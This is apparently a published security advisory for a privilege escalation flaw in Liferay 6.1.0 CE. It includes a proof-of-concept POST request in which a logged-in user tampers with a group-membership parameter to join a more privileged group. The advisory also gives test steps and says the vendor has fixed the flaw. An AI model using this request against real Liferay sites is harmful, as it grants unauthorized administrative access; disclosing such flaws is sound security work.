Liferay 6.1.0 CE – Privilege Escalation
# Exploit Title: Liferay 6.1.0 CE GA1 Privilege Escalation # Date: 18/05/2015 # Exploit Author: Massimo De Luca - mentat.is # Vendor Homepage: https://www.liferay.com # Software Link: http://www.liferay.com/it/community/releases/-/asset_publisher/nSr2/content/id/18060360 # Version: 6.1.0 CE # Tested on: - Explanation: Any logged user can change his "User Group" membership by editing the parameter _2_userGroupsSearchContainerPrimaryKeys in the HTTP POST REQUEST generated when updating his profile in the page "Manage my account". This may lead to privilege escalation. Proof of Concept: POST /group/control_panel/manage?p_auth=J3jbveH7&p_p_id=2&p_p_lifecycle=1&p_p_state=maximized&p_p_mode=view&doAsGroupId=19&refererPlid=10839&controlPanelCategory=my&_2_struts_action=%2Fmy_account%2Fedit_user HTTP/1.1 [...] [...]_2_organizationsSearchContainerPrimaryKeys=&_2_groupsSearchContainerPrimaryKeys=19&_2_userGroupsSearchContainerPrimaryKeys=[NEW GROUP ID]&_2_groupRolesRoleIds=[...] For your reference i'm attaching the full request in a separate file. In order to test the vulnerability on a fresh installation: - Create two different groups with different roles and permissions (ie: one with administrator permissions, and a regular user) -Create two different users,one for each group Solution: The vendor is aware of the problem and has fixed the issue in newer releases #Massimo De Luca #mdeluca [at] mentat.is #Mentat.is |